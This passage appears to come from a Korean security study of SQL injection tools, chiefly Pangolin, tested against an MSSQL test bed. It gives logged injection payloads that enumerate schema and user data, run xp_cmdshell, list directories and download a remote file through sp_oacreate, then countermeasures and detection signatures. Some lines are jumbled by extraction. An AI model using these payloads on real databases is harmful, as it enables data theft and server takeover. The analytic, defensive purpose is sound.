/* 데이터베이스내에 table 을가져오기위해서첫번째테이블의길이를반환하고있다. INFORMATION_SCHEMA.TA BLE 을참조하고있다. 여기서는 cmd가첫번째테이블이기때문에 3 을반환했다. 숫자는계속늘어나면서확인하고 있는것을알수있다. */ and 1=1 and (SELECT TOP 1 LEN(table_name) FROM (SELECT TOP 1 table_name FROM INFORMATION_SCHEMA.TABLES ORDER BY table_name ) sub ORDER BY table_name DESC)>-1 200 /* 메타테이블중 INFORMATION_SCHEMA.TABLE을사용하여 SUBSTRING을이용하여첫번째테이블의첫번째 값을가져오고있다. 숫자는계속늘어나기때문에결국엔 cmd 라는테이블을쪼개서응답을가져오게된다. */ and 1=1 and (SELECT TOP 1 ascii(substring(table_name,1,1)) FROM (SELECT TOP 1 table_name FROM INFORMATION_SCHEMA.TABLES ORDER BY table_name) sub ORDER BY table_name DESC)>64 200 /* 시스템테이블인 sysobjects테이블을이용하여 User 테이블이면서시스템테이블의개수를조회하고있다. */ and 1=1 and (SELECT count(name) FROM sysobjects WHERE typex>'u' AND name LIKE 'sys%' and name='syssegments')>0 200 /* User 테이블의필드를구하는것으로써숫자를늘려가면서테이블의개수를추적하고있다. */ and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')>-1 200 and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')>562530 8 500 and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')>16383 500 and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')>8191 500 /* 원하는테이블필드의개수를파악하고 200 메시지가나타나있는것을보니테이블필드의개수는 3 개이다.*/ and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')=3 200
/* Table Field Name */ /*select top문을이용하여 1 개( 실제로그상에는계속값이커짐) 의 column_name 의문자수를반환하고있다.*/ and 1=1 and (SELECT TOP 1 LEN(column_name) FROM (Select TOP 1 column_name from information_schem a.columns where table_name='users' ORDER BY column_name) sub ORDER BY column_name DESC>-1 200 and 1=1 and (SELECT TOP 1 LEN(column_name) FROM (Select TOP 1 column_name from information_schem a.columns where table_name='users' ORDER BY column_name) sub ORDER BY column_name DESC=8 200 and 1=1 and (SELECT TOP 1 LEN(column_name) FROM (Select TOP 1 column_name from information_schem a.columns where table_name='users' ORDER BY column_name) sub ORDER BY column_name DESC>64 200
/* Get Properties */ /* 보안함수인 SUSER_SNAME함수는사용자보안 ID(SID) 로부터로그인 ID 이름을문자수로반환하고있다.*/ and 1=1 and (select LEN(SUSER_SNAME()))>8 200 and 1=1 and (select LEN(db_name()))>3 500 /* 사용자보안 ID 에길이를추적해낸로그 */ and 1=1 and (select LEN(SUSER_SNAME()))=9 200 /* 해당 DB 의이름의길이를추적해낸로그 */ and 1=1 and (select LEN(db_name()))=3 200 /* SUBSTRING 을이용하여현재로그인한사용자의이름을쪼개서반환하고있다. */ and 1=1 and (select ascii(substring(suser_sname(),1,1)))>64 200 and 1=1 and (select ascii(substring(suser_sname(),8,1)))=115 200 and 1=1 and (select ascii(substring(suser_sname(),9,1)))>115 200 and 1=1 and (select ascii(substring(suser_sname(),9,1)))>116 500 and 1=1 and (select ascii(substring(suser_sname(),9,1)))>116 500 and 1=1 and (select ascii(substring(suser_sname(),9,1)))=116 200 /* BruteForce를이용한해당 Column의 content 가져오기 */ /* isnull(check_expression, replacement_value) check_expression이 Null이면 replacement_value 값으로대체 */ /* 시스템함수인 ISNULL은 id 컬럼의 Len를구하여서 Null값이면 0 으로채우고있다. */ and 1=1 and (SELECT TOP 1 ISNULL(LEN(id),0) FROM (Select TOP 1 id from kyu..users ORDER BY id) sub ORDER BY id DESC)>-1 200 and 1=1 and (SELECT TOP 1 ISNULL(LEN(level),0) FROM (Select TOP 1 level from kyu..users ORDER BY level) sub ORDER BY level DESC)>-1 200 and 1=1 and (SELECT TOP 1 ascii(substring(isnull(cast(id as varchar),char(48)),1,1)) FROM (Select TOP 1 id from kyu..users ORDER BY id) sub ORDER BY id DESC)>32767 500 and 1=1 and (SELECT TOP 1 ISNULL(LEN(level),0) FROM (Select TOP 1 level from kyu..users ORDER BY level) sub ORDER BY level DESC)>15 500 /* 최종적인 Brute Force가끝나게되면 200 메시지가떨어지면서해당테이블의콘텐츠를모두가지고오게된다.
3.3 Pangolin 3.3.1 What is an Pangolin Pangolin 은철갑산이라는이름으로온몸이갑주형식으로되어있는동물이다. 아르마딜로와비슷한형태의동물로써 Pangolin 의정보는네이버에서철갑산동물에관한정보만보여주도록아직까지미비하다. securityplus 에올라와있는 정보를토대로간략하게소개하겠다.Pangolin v1.3.0.622은윈도우즈용 SQL Injection Tool 이다. 이툴은아래의사진 과같이 HTTPS support, Pre-Login, Proxy, Specify any HTTP headers(user-agent, Cookie, Referer 등등), Bypass firewall setting, Auto-analyzing keyword,detailed check option,injection-point manage 가있다. 지원하는 DBMS로는아래에보다시피 MSSQL, Oracle, MySQL, Sybase, DB2, Access, Informix, PostgreSQL, Sqllite 가있다. 사실상 MSSQL 이가장효용적이고나머지는테스트를해보지못해정확히말하기어렵다.
3.3.2 attack code to website 다음과같은내용은 MSSQL 테스트베드를이용몇가지기능을직접테스트한것입니다. /* check 버튼을눌러해당 URL 에처음공격을하는구문 */ union all select null-- and 1=1 pangolin/0.1 500 union all select null,null-- and 1=1 pangolin/0.1 500
union all select null,null,null-- and 1=1 pangolin/0.1 500 union all select null,null,null,null-- and 1=1 pangolin/0.1 200 and 1=2 union all select cast(0x61616161616161616161616161616161616161616161616161616161616161616 1616161616161616161616161616161 as varchar(8000)),null,null,null-- and 1=1 pangolin/0.1 500 and 1=2 union all select null,cast(0x6161616161616161616161616161616161616161616161616161616161616 16161616161616161616161616161616161 as varchar(8000)),null,null-- and 1=1 pangolin/0.1 500 and 1=2 union all select null,char(94)+char(94)+char(94)+cast(db_name() as nvarchar(4000))+char(94)+char( 94+char(94),null,null -- and 1=1 pangolin/0.1 500 /* version Information 수집하기위한쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(@@version as nvarchar(4000))+char(94)+ ch ar(94)+char(94),null,null -- and 1=1 pangolin/0.1 500 /* Db name Information 수집하기위한쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(db_name() as nvarchar(4000))+char(94)+char (94)+char(94),null,null -- and 1=1 pangolin/0.1 500 /* Server name Information 수집하기위한쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(@@servername as nvarchar(4000))+char(94) +char(94)+char(94),null,null -- and 1=1 pangolin/0.1 500 /* System User Information 수집하기위한쿼리 */
and 1=2 union all select null,char(94)+char(94)+char(94)+cast(system_user as nvarchar(4000))+char(94)+ char(94)+char(94),null,null -- and 1=1 pangolin/0.1 500 /* Current User Information 수집하기위한쿼리 */ and 1=2 union all select +char(94),null,null -- and 1=1 pangolin/0.1 500 null,char(94)+char(94)+char(94)+cast(user as nvarchar(4000))+char(94)+char(94) /* Privilege Information 수집하기위한쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(is_srvrolemember(0x73007900730061006400 6d0069006e00) as nvarchar(4000))+char(94)+char(94)+char(94),null,null -- and 1=1 pangolin/0.1 500 /* DataBase Information 수집하기위한쿼리 */ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94 )+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null top 1 dbid,name,filename from (select top 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 from (select 1 dbid,name,filename from [master].[dbo].[sysdatabases] order by and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(9 4)+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null top 1 dbid,name,filename from (select top 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 from (select 2 dbid,name,filename from [master].[dbo].[sysdatabases] order by and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] asnvarchar(4000))+char(94) +cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 dbid,name,filename from (select top by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 13 dbid,name,filename from [master].[dbo].[sysdatabases] order /* Drivers Information 수집하기위한쿼리 */ ;drop table foofoofoo;-- and 1=1 pangolin/0.1 200 ;create table foofoofoo(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));-- and 1=1 pangolin/0.1 200 ;insert foofoofoo exec master.dbo.xp_availablemedia;-- and 1=1 pangolin/0.1 200 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94 )+cast([type] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 1 * from foofoofoo order by [name] group by name) t order by [name] desc)t-- and 1=1 pangolin/0.1 500 ;drop table foofoofoo;-- and 1=1 pangolin/0.1 200 /* LocalGroups Information 수집하기위한쿼리 */ ;drop table foofoofoo;-- and 1=1 pangolin/0.1 200 ;create table foofoofoo(name nvarchar(255),description nvarchar(4000));-- and 1=1 pangolin/0.1 200 ;insert foofoofoo exec master.dbo.xp_enumgroups;-- and 1=1 pangolin/0.1 200 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] asnvarchar(4000))+char(94) +cast([description] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null top 1 * from (select top and 1=1 pangolin/0.1 500 ;drop table foofoofoo;-- and 1=1 pangolin/0.1 200 from (select 1 * from foofoofoo order by [name] group by name) t order by [name] desc)t--
/* DATA -> TABLE 추적쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast(count(*) as varchar(10)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from [kyu]..[sysobjects] where xtype=char(85) and status%3e0-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(256)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 id,name from (select top 1 id,name from [kyu]..[sysobjects] where xtype=char(85) and status%3e0 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(256)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 id,name from (select top 2 id,name from [kyu]..[sysobjects] where xtype=char(85) and status%3e0 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 /* DATA -> Columns 추적 */ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(id as nvarchar(20)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null -- and 1=1 pangolin/0.1 500 from [kyu]..[sysobjects] where name=0x63006d006400 and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast(count(*) as varchar(10)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null 1=1 pangolin/0.1 500 from [kyu]..[syscolumns] where id=709577566-- and and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(8000)) as
nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 colid,name from (select top 1 colid,name from [kyu]..[syscolumns] where id=709577566 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(8000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 colid,name from (select top 2 colid,name from [kyu]..[syscolumns] where id=709577566 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 /* table 내에행과열을추적하여얻어옴. */ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(cmd as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 cmd from (select top 26 cmd from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(corps as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 corps from (select top 26 corps from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(div as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 div from (select top 26 div from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(idx as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 idx from (select top 27 idx from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500
/* xp_cmd procedure 공격 */ ;create table [foofoofoo]([resulttxt] nvarchar(4000) null);-- and 1=1 pangolin/0.1 200 ;declare @z nvarchar(4000) set @z=0x640069007200200063003a005c00 insert into [foofoofoo](resulttxt) exec master.dbo.xp_cmdshell @z;alter table [foofoofoo] add id int not null identity (1,1)-- and 1=1 pangolin/0.1 200 and 1=2 union all select null,char(94)+char(94)+char(94)+cast(count(*) as nvarchar(4000))+char(94)+char(94 )+char(94),null,null from [kyu]..[foofoofoo]-- and 1=1 pangolin/0.1 500 and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(resulttxt as nvarchar(4000))+char(94)+c har(94),null,null from (select top 1 id,resulttxt from (select top 1 id,resulttxt from [kyu]..[foofoofoo] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/0.1 500 ;drop table [foofoofoo];-- and 1=1 pangolin/0.1 200 /* MSSQL Dir Tree 공격을위한쿼리 */ ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and 1=1 pangolin/0.1 200 ;declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1-- and 1=1 pangolin/0.1 200 and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast(count(*) as varchar(8000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from foofoofoo-- and 1=1 pangolin/0.1 500 and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast([isfile] as nvarchar(4000))+char(94)+cas t([name] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select distinct top 1 * from foofoofoo order by isfile,name) t order by isfile desc,name desc) t----
and 1=1 pangolin/0.1 500 ;drop table foofoofoo;-- and 1=1 pangolin/0.1 200 /* Download 공격을위한쿼리 */ ;declare @b varbinary(800oft.xml0),@hr int,@http int,@down int exec sp_oacreate [microshttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://blah~blah~blah~/putty.zip],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:%5cputty.zip],1 ;-- and 1=1 pangolin/0.1 200
4. comprehensive countermeasures against the tool 대응방법은서버사이트스크립트안에서 SQL injection 에대한구문에예외처리를해주는것이가장좋은방법이다. 간단하게인터넷에서싱글쿼터나세미콜론등의특수기호를예외처리해주면대부분의인젝션공격을막을수있고 저장프로시저의권한을최소화하여야한다. 특정한기업이나그룹에서 IDS나 IPS, 웹방화벽을이용하고이것을이용해서막아야한다면기존에장비에서제공해주는 것만으로는부족하고관리자가지속적인관심을가지면서특정한 signature match 가필요하다. 어짜피이런장비들은 오탐을피해갈수없기때문에지속적인관심이필요하다. 앞에소개한 SQL injection tool의경우 sysadmin 권한이나 sysobject 테이블에대한접근을확인하게되어있다. 이에대한차단정책(IPS) 을세우고웹방화벽을통해서주요에러 메시지(304,404,500) 는접근제한페이지로 redirect 시키면 DB 정보를수집하는어려워질뿐만아니라 SQL injection 을하는데상당한어려움이있을것이다. 해당툴에대한 IS_SRVROLEMEMBER sp_makewebtask xp_availablemedia xp_cmdshell xp_dirtree signature 를뽑아보라면아래와같다. NBSI MatriXay Pangolin select, and 1=1, union all, system procedure 등등 pangolin(user-agent 부분에 pangoli 다음과같은특정한함수들을사용 substring substr SUBSTRING information_schema.tables information_schema.columns ISNULL isnull sp_oacreate 하지만이런 signature match 의경우문제가많이발생한다. 웹서버는자동으로 URL을디코딩을하고 DB는대소문자를 구분하지않는다는문제가있다. 방립동님께서보여주신좋은예가있다. n 을표시하기때문에. 하지만변경할 수있음.) foofoofoo( 이테이블을생성함.) xp_availablemedia xp_cmdshell xp_dirtree < 방립동님문서중에일부분발췌> 그래서패턴매칭의경우수만가지가나올수있다는것을명심하고변수와데이터베이스컬럼을정의하고 Query의결과 로반환되는변수의형(type) 을정의하고문자열의데이터길이를제한하고적절한오류처리가필요하다. 어떤공격이나 그러하겠지만 sql injection 공격은짧은시간에많은변화를이룩했던것같습니다. 그런만큼많은정보를읽고공부하면 서대응하는방법의자세로임해야될것같습니다. 많은도움주신분들게감사합니다.